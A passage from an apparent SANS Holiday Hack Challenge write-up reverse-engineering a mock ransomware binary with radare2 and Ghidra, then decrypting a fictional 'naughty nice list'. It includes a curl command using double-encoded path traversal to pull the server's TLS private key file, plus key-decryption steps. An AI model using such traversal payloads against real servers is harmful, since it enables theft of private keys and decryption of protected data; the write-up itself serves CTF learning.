os/exec.Cmd
with the following structure:

Thus, the arguments at offset 0x10
were examined:
[0x006a1660]> pf p @ rax + 0x10
0xc000002010 = (qword)0x000000c000034140
[0x006a1660]> x 32 @ 0x000000c000034140
- offset - 4041 4243 4445 4647 4849 4A4B 4C4D 4E4F 0123456789ABCDEF
0xc000034140 73dd 7200 0000 0000 1800 0000 0000 0000 s.r.............
0xc000034150 80a0 1800 c000 0000 8000 0000 0000 0000 ................
[0x006a1660]> pf p @ 0x000000c000034140
0xc000034140 = (qword)0x000000000072dd73
[0x006a1660]> ps 0x18 @ 0x000000000072dd73
/usr/local/sbin/xdg-open
[0x006a1660]> pf p @ 0x000000c000034140 + 16
0xc000034150 = (qword)0x000000c00018a080
[0x006a1660]> ps 0x80 @ 0x000000c00018a080
https://api.frostbit.app/view/hfD1USRg9MZ1yA/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=19e000902a849d0a1c8619804190806e
→ 11 Completing the challenge
Completing the challenge provided closure to the reverse engineering
conclusions but I have to admit I encountered difficulties in attacking
api.frostbit.app
without help from other players’ writeups.
The Grand Prize Winner, Cody Travis devised a very elegant solution which
bypassed my modular arithmetic confusion. Using their solution, the
private key was trivially retrieved from
api.frostbit.app
:
$ curl 'https://api.frostbit.app/view/%255b%25a7%254e%25c6%2517%2597%25f5%2538%255b%25a7%254e%25c6%2517%2597%25f5%2538..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f.%252f.%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=00000000000000000000000000000000&debug=true' | grep debugData | head -1 |grep -o '".*"' | tr -d '"'|base64 -d > api.frostbit.app.key
However, the retrieved private key had a modulus which did not match the public key I’d previously retrieved and hence was unable to decrypt the encrypted AES key:
└─$ openssl rsa -in api.frostbit.app.key -text -noout |grep -A5 modulus
modulus:
00:e6:66:a9:b6:08:5f:99:86:ed:78:fb:ae:d6:d8:
8c:40:31:a7:6b:74:eb:b7:36:19:33:61:d1:44:04:
d2:c3:46:cf:54:30:3e:dd:e7:47:96:23:3b:e6:88:
ed:65:a8:5a:31:de:bf:76:94:66:a5:c0:23:3e:84:
80:39:08:84:56:f6:bb:d6:2d:f2:07:a9:e1:29:ef:
It turned out the TLS certificate had been rotated since I’d initially generated the artifacts:
└─$ echo "Q" | openssl s_client -connect api.frostbit.app:443 2>/dev/null| sed -n '/BEGIN CERTIFICATE/,/END CERTIFICATE/p' | tee api.frostbit.app-cert.pem | openssl x509 -text -noout | head -21
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
03:22:27:0f:94:02:14:50:f8:e7:78:29:df:fa:48:0c:10:58
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Let's Encrypt, CN=R10
Validity
Not Before: Jan 13 20:13:57 2025 GMT
Not After : Apr 13 20:13:56 2025 GMT
Subject: CN=api.frostbit.app
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (4096 bit)
Modulus:
00:e6:66:a9:b6:08:5f:99:86:ed:78:fb:ae:d6:d8:
8c:40:31:a7:6b:74:eb:b7:36:19:33:61:d1:44:04:
d2:c3:46:cf:54:30:3e:dd:e7:47:96:23:3b:e6:88:
ed:65:a8:5a:31:de:bf:76:94:66:a5:c0:23:3e:84:
80:39:08:84:56:f6:bb:d6:2d:f2:07:a9:e1:29:ef:
02:24:ed:83:eb:67:56:e6:6f:73:70:d5:30:87:cc:
I was reluctant to regenerate the artifacts as the values referenced in this writeup would change, making proof reading more difficult. Thankfully, though, Zysygy on the SANS Holiday Hack Challenge Discord server shared with me a copy of the old private key, the modulus of which matched what I was expecting:
└─$ openssl rsa -in api.frostbit.app.zysygy.key -text -noout |sed -nEe '/modulus/,/publicExponent/ p'
modulus:
00:a6:58:39:78:a0:ef:93:d7:fe:82:c5:96:65:4b:
69:16:bf:34:a2:34:d9:69:b9:b8:46:dc:b4:2e:8a:
f0:b6:ae:55:25:dd:fb:f0:68:00:9b:0c:48:16:87:
5d:b9:d3:fe:c4:c3:73:f6:ee:65:44:51:31:a8:35:
a8:2b:64:f1:29:bc:a2:19:33:8a:57:d2:25:a5:95:
0b:17:27:d5:f7:ff:e2:f2:fa:b8:7b:0e:c7:f5:3b:
3b:76:e3:61:e2:07:87:37:2b:1f:5a:a7:6b:55:e6:
d3:45:9e:80:78:20:1e:27:67:19:b9:53:f8:6e:b8:
9a:8b:45:c3:ab:62:94:77:fb:1c:ee:48:10:c5:71:
a0:c3:4b:7f:16:a8:83:82:5a:52:17:53:c5:c4:fb:
d4:cc:9c:1c:24:d4:21:21:84:02:c5:10:b0:1e:41:
ea:55:29:d3:a1:97:27:8c:98:e1:81:5c:97:b1:33:
72:e6:93:8b:05:6a:a0:e6:74:a7:5e:bc:25:f0:97:
c6:91:41:cd:fd:3c:1b:6f:cd:bd:ac:83:13:e7:9d:
19:c4:ef:0a:60:7e:2a:fe:45:77:73:05:5c:49:87:
c4:62:f3:09:26:87:90:14:28:07:8a:e2:f9:12:ec:
40:51:b3:ba:29:98:13:9d:15:a1:59:09:a8:b5:34:
1b:f9:f0:a3:f2:c8:a5:8e:0f:1d:21:dc:31:07:af:
74:2e:f6:58:a6:fb:f8:c8:f2:d8:82:a0:9f:f4:fc:
f3:82:b6:4f:be:52:7e:5e:42:27:27:7b:3f:f8:33:
8b:d1:56:c2:81:31:cf:d2:06:e9:3b:b9:1d:8e:24:
ce:05:2d:49:a7:e1:6d:6c:21:be:ea:89:af:c1:28:
3f:70:42:cd:9e:c0:c2:b3:a1:75:c7:7d:e2:47:bb:
6e:99:e4:32:4b:03:4f:58:d1:ad:ea:93:87:9b:21:
9f:1d:82:f6:47:18:63:e5:2e:67:09:7a:b1:18:2c:
76:ab:69:87:f2:5e:00:2f:96:db:cd:55:71:10:46:
be:f8:58:27:77:da:f6:e1:24:82:dd:bb:e5:35:54:
f4:08:37:c1:76:82:b3:4e:e3:bc:44:e3:41:e1:62:
8d:91:ba:8d:8f:e3:04:f0:90:c7:50:0d:fd:95:df:
f2:a8:85:62:1a:38:c0:11:1f:cd:4e:2b:21:93:9c:
e4:d3:8d:7d:02:24:29:1d:f3:94:9c:23:71:ab:5e:
cd:64:fe:4a:80:bc:71:ef:1a:d3:68:b7:4f:9b:45:
fd:68:c3:9c:aa:e2:0f:7a:78:eb:c1:97:c8:56:9c:
aa:66:85:27:fc:3d:33:8a:7a:0d:22:7a:24:f0:21:
5d:6c:3f
publicExponent: 65537 (0x10001)
Using this private key, the encrypted AES key was decrypted:
└─$ openssl pkeyutl -decrypt -inkey api.frostbit.app.zysygy.key -in <(cat encrypted-key.txt |xxd -p -r)
b0d02b47208fbac506e50fe876c2f8a1,5ba74ec61797f538
naughty_nice_list.csv
was then decrypted:
└─$ openssl enc -d -aes-256-cbc -K "$(echo -n b0d02b47208fbac506e50fe876c2f8a1|xxd -p -c0)" -iv "$(head -c16 naughty_nice_list.csv.frostbit|xxd -p)" -in <(tail -c +17 naughty_nice_list.csv.frostbit) -out naughty_nice_list.csv
With the result being plain text:
└─$ head naughty_nice_list.csv
Number,Child Name,Age,Nice-or-Naughty,Description
1,Alice Wonderland,7,Nice,Helped her little brother with his homework and always shares her toys
2,Bobby Badger,8,Naughty,Used his sisters new markers to draw on the living room walls
3,Charlie Chipper,10,Nice,Organized a charity bake sale and donated all the proceeds
4,Daisy Doodles,9,Naughty,Secretly ate all the cookies from the cookie jar and blamed it on the dog
5,Eddie Elf,12,Nice,Volunteered to clean the entire house without being asked
6,Frida Frost,11,Naughty,Lost her homework under the bed and then claimed a dragon ate it
7,George Giggles,6,Nice,Made everyone laugh with his funny jokes and did his chores without complaining
8,Holly Harper,14,Naughty,Refused to go to bed and had a midnight dance party with her stuffed animals
9,Ivan Icecream,13,Nice,Helped his elderly neighbor with her groceries every week
Thus, the name of the 440th child was found:
└─$ head -1 naughty_nice_list.csv && tail -1 naughty_nice_list.csv
Number,Child Name,Age,Nice-or-Naughty,Description
440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies
→ 12 Comparison with real ransomware
Some significant differences between frostbit.elf
and
real ransomware include:
-
Hardcoded to only encrypt
naughty_nice_list.csv
-
Does not delete
naughty_nice_list.csv
after encryption - Implemented to log TLS master secrets to a buffer
- Core dump conveniently provided
- Does not employ anti-reverse engineering techniques
→ 13 Conclusion
Neither frostbit.elf
nor
frostbit_core_dump.14
can be exploited in isolation to
recover the encrypted data due to the following.
naughty_nice_list.csv
is encrypted using AES-256-CBC and
the key is a securely generated 32 byte ASCII hex key. Although the key
“only” has 16 bytes of entropy, this is presently sufficient to make
brute force attacks impractical. Furthermore, the key is not present in
the core dump.
The AES-256-CBC encryption key, concatenated with a server generated
nonce is then encrypted using the RSA 4096 bit public key of
https://api.frostbit.app
. The corresponding private key is
not exposed to frostbit.elf
.
Thus, the only remaining attack vector is to attack the server
infrastructure at api.frostbit.app
in order to retrieve the
RSA private key.
→ 14 Appendix - other observations
→ 14.1 Debug mode
If the environment variable APP_DEBUG=true
is set,
frostbit.elf
accesses http://localhost
instead
of https://api.frostbit.app
and loads the RSA public key
from public_key.pem
.
The use of localhost
can be observed when debugging the
URL requested in main.GetNonce
:
[0x006a1812]> pd--3
│ 0x006a1807 e8f416dbff call sym.runtime.concatstring4
│ 0x006a180c 4889d9 mov rcx, rbx ; int64_t arg_18h
│ 0x006a180f 4889c3 mov rbx, rax
│ ;-- rip:
│ 0x006a1812 b 488b842490.. mov rax, qword [arg_190h]
│ 0x006a181a e8e1fcf9ff call sym.net_http._Client_.Get
│ 0x006a181f 90 nop
[0x006a1812]> dr rcx
0x00000048
[0x006a1812]> ps 0x48 @ rbx
http://localhost/api/v1/bot/23a4872d-ceba-4340-9f64-4f4c023ebba3/session
main.runit
calls main.LoadPublicKeyFromFile
to load a public key from public_key.pem
but only if
local_5a1_skip_public_key_file
is not zero:

It’s a bit tricky to track down the path that results in
local_5a1_skip_public_key_file
being non-zero but the
Ghidra
decompiler helps here, decompiling the above into a
check of the useRemotePubCert
variable:
if (useRemotePubCert == false) {
~r1_00.data = in_stack_fffffffffffffa30;
~r1_00.tab = in_stack_fffffffffffffa28;
~r1_1.data = in_stack_fffffffffffffa40;
~r1_1.tab = in_stack_fffffffffffffa38;
main.LoadPublicKeyFromFile
((string)in_stack_fffffffffffffa18,(crypto/rsa.PublicKey *)&dat_str_public_key_dot_pem
,(crypto/rsa.PublicKey *)0xe,~r1_00,~r1_1);
In turn, useRemotePubCert
is only true
if
the APP_DEBUG
environment variable does not equal
0x65757274
, which is eurt
in little-endian. It
should be noted that variables like extraout_RAX_04
ultimately simply refer to register RAX
:
= extraout_RBX_02;
local_4a0_app_debug_var_value_len = extraout_RAX_03;
local_348_app_debug_var_value .ToLower((string)in_stack_fffffffffffffa18,~r0_02);
stringsif ((extraout_RBX_03 != 4) || (*extraout_RAX_04 != 0x65757274)) {
if (local_4a0_app_debug_var_value_len != 1) {
= 0x18;
local_4d8_len_https_api_frostbit_app = (net/http.Client *)&dat_str_https_api_frostbit_app
local_388_str_https_colon_forward_slashes ;
= true;
useRemotePubCert goto LAB_006a24d8;
}
if (*local_348_app_debug_var_value != '1') {
= 0x18;
local_4d8_len_https_api_frostbit_app = (net/http.Client *)&dat_str_https_api_frostbit_app
local_388_str_https_colon_forward_slashes ;
= true;
useRemotePubCert goto LAB_006a24d8;
}
}
Furthermore, local_4a0
and local_348
were
renamed to local_4a0_app_debug_var_value_len
and
local_348_app_debug_var_value
due to the following that
gets the APP_DEBUG
environment variable:
To test the execution, the following environment changes were made:
-
replayer_http.py
was created, which was the same asreplayer.py
but serves HTTP instead of HTTPS:#! /usr/bin/python3 from http.server import * import re import sys class ReplayHandler(BaseHTTPRequestHandler): def do_GET(self): if re.match(r"^/api/v1/bot/[-a-z0-9]+/session$", self.path): = read_raw_response("./session_response.txt") raw_resp self.wfile.write(raw_resp) return self.send_error(404) def do_POST(self): if re.match(r"^/api/v1/bot/[-a-z0-9]+/key$", self.path): = read_raw_response("./key_response.txt") raw_resp self.wfile.write(raw_resp) return self.send_error(404) def read_raw_response(name): with open(name, "r") as raw_response: return bytes(raw_response.read(), 'utf-8') def run(host, port, server_class=HTTPServer, handler_class=ReplayHandler): = (host, port) server_address = server_class(server_address, handler_class) httpd httpd.serve_forever() =sys.argv[1] host=int(sys.argv[2]) port run(host, port)
-
replayer_http.py
was started:└─$ python3 replayer_http.py 127.0.0.1 8000
-
socat
was started:└─$ sudo socat -v -v tcp-listen:80,reuseaddr,fork tcp4-connect:api.frostbit.app:8000
-
An RSA 2048 bit public key was generated in the same directory as
frostbit.elf
:└─$ openssl genrsa -out private_key.pem 2048 └─$ openssl rsa -in private_key.pem -pubout -out public_key.pem
-
gdbserver
was restarted after exportingAPP_DEBUG
:└─$ export APP_DEBUG=true └─$ gdbserver --once 169.254.115.238:9999 frostbit.elf
frostbit.elf
was executed via radare2
debugging as before. The following encrypted key was observed in the
socat log:
{"encryptedkey":"1e7280426054bc383119c07bfdb4882967eec976df6df1da546f87fec06c409171b08986b93b939919dfd5704baa015acbc7b320e2bbc098c3cce911a448f7dd2230988b7c3d43acbb4d2c69b36d7104af8b035b71e16bab800aa6688e5276d9b66bdb753498105c1981ee51f361ecb44f108d9bbb7ec998075a82272e43271c585bcf9411c91660f751b3fa2e6dd2fa692f5ef5593e8ecc584a74c476e0e9d068f67d637c63a8a039c5f602a64f5494352cee5fae958ca4d856edf341b17574ca4c2678ba23f9214bbe140d76e29d27f32a4fe440dd293d015296d4be963fd2543fd18357231b1185053eb687eff12461863ae9d76b4d3a1c7fb958cf94ae40fc90e767d8b3db87e565e8c78aa97f81a1da836eafd9a76ff5861a582d5df60aa567bfbb794ddbdaca0c6c1ab91fe7b6a7d35d317d4f727235869b9a1f7112aafc8a39e60c59dca121323a9510740dc500bb5f235e368d5913e214b780c1747b6285f071698c5b321cf6a32d3c9af60215f72fb616b65d977d6901e2e58f1975aa994b194faf7191a1abd4fd9b2198015a1bf22882640d269ff5bfe3e429d04456b9a7f5cb8c44c7365c48d65026b11ffa57a2117d52a2cbca25868a18a99d7ec105f57518a06676039740040772dee3e1051f4912f3df36f4235219d5d3186ddd276dd8f85de22a707e4889b6a21bc193e9e0127b313eb34abb0dc85ba2ec34","nonce":"5ba74ec61797f538"}
The encrypted key value was pasted into
encrypted-key.txt
and decrypted using the private key to
confirm the local public_key.pem
was used to encrypt
it:
└─$ openssl pkeyutl -decrypt -inkey private_key.pem -in <(cat encrypted_key.txt|xxd -r -p)
a55ab0f0e3ed677f1c7708e9001d26b4,5ba74ec61797f538
→ 14.2 keyHex.txt and nonce.txt
Setting an arbitrary environment variable to have the value
“NPGENCONT” results in the AES-256-CBC encryption key being written to
keyHex.txt
and the nonce being written to
nonce.txt
.
One of the first things main.runit
does is to load
environment variables:

The results of the load can be observed by setting a breakpoint at
0x006a2258
in radare2
:
[0x00475d80]> db 0x006a2258
[0x00475d80]> dc
INFO: hit breakpoint at: 0x6a2258
[0x006a2258]> pdb
│ 0x006a2232 55 push rbp
│ 0x006a2233 4889e5 mov rbp, rsp
│ 0x006a2236 4881ece005.. sub rsp, 0x5e0
│ 0x006a223d c644244600 mov byte [var_46h], 0
│ 0x006a2242 b 90 nop
│ 0x006a2243 e89891dfff call sym.syscall.Environ
│ 0x006a2248 48898424f8.. mov qword [env_vars], rax
│ 0x006a2250 48899c24d0.. mov qword [var_d0h], rbx
│ ;-- rip:
│ 0x006a2258 b 4889c1 mov rcx, rax
│ 0x006a225b 4889da mov rdx, rbx
│ 0x006a225e 6690 nop
│ ┌─< 0x006a2260 eb27 jmp 0x6a2289
RAX
, RBX
and RCX
collectively
represent a slice:
-
RBX
is the slice length:[0x006a2258]> dr rbx 0x00000043
-
RCX
is the slice capacity:[0x006a2258]> dr rcx 0x00000043
-
RAX
is a sequence ofstrings
for each environment variable. Eachstring
consists of a pointer to the start of the string, followed by the length of the string. For example, the first environment variable isCOLORFGBG=15;0
:; rax is a sequence of (string pointer to environment variable, string length) [0x006a2258]> x 32 @ rax - offset - 8 9 A B C D E F 1011 1213 1415 1617 89ABCDEF01234567 0xc000018908 1040 0100 c000 0000 0e00 0000 0000 0000 .@.............. 0xc000018918 00a0 0100 c000 0000 1300 0000 0000 0000 ................ ; pointer to the first env var [0x006a2258]> pf p @ rax 0xc000018908 = (qword)0x000000c000014010 ; length of the first env var [0x006a2258]> pf b @ rax + 8 0xc000018910 = 0x0e ; value of the first env var [0x006a2258]> ps 0xe @ 0x000000c000014010 COLORFGBG=15;0
main.runit
initializes a for loop index
local_490_i
to the number of environment variables:

Whilst local_490_i > 0
, the current environment
variable is split into its name and value:

The result of the split can be observed in radare2
with
a breakpoint at 0x006a22c5
:
[0x006a22c5]> pdb
│ 0x006a229a 48898c24c0.. mov qword [var_2c0h], rcx
│ 0x006a22a2 488b01 mov rax, qword [rcx]
│ 0x006a22a5 488b5908 mov rbx, qword [rcx + 8]
│ 0x006a22a9 90 nop
│ 0x006a22aa bf01000000 mov edi, 1 ; int64_t arg1
│ 0x006a22af 31f6 xor esi, esi ; int64_t arg2
│ 0x006a22b1 41b802000000 mov r8d, 2
│ 0x006a22b7 488d0d9a79.. lea rcx, [0x007a9c58] ; "="
│ 0x006a22be 6690 nop
│ 0x006a22c0 e8bb75e4ff call sym.strings.genSplit
│ ;-- rip:
│ 0x006a22c5 b 4883fb02 cmp rbx, 2 ; r9
│ ┌─< 0x006a22c9 7404 je 0x6a22cf
; slice length
[0x006a22c5]> dr rbx
0x00000002
; slice capacity
[0x006a22c5]> dr rcx
0x00000002
; slice data
[0x006a22c5]> x 32@rax
- offset - 2021 2223 2425 2627 2829 2A2B 2C2D 2E2F 0123456789ABCDEF
0xc000034120 1040 0100 c000 0000 0900 0000 0000 0000 .@..............
0xc000034130 1a40 0100 c000 0000 0400 0000 0000 0000 .@..............
; env var name
[0x006a22c5]> pf p @ rax
0xc000034120 = (qword)0x000000c000014010
[0x006a22c5]> pf b @ rax +8
0xc000034128 = 0x09
[0x006a22c5]> ps 0x09 @ 0x000000c000014010
COLORFGBG
; env var value
[0x006a22c5]> pf p @ 0xc000034130
0xc000034130 = (qword)0x000000c00001401a
[0x006a22c5]> pf b @ 0xc000034130 + 8
0xc000034138 = 0x04
[0x006a22c5]> ps 0x04 @ 0x000000c00001401a
15;0
The length of the current environment variable value is compared to the length of “NPGENCONT”:

If the length is equal, the environment variable value is compared to “NPGENCONT”:

If the length isn’t equal, the next for loop iteration is initialized:

If all environment variables are checked without finding a match,
local_490_i
will be 0 and the conditional jump at
0x006a2848
below will be taken. Otherwise, the key and
nonce will be written to keyHex.txt
and
nonce.txt
respectively:
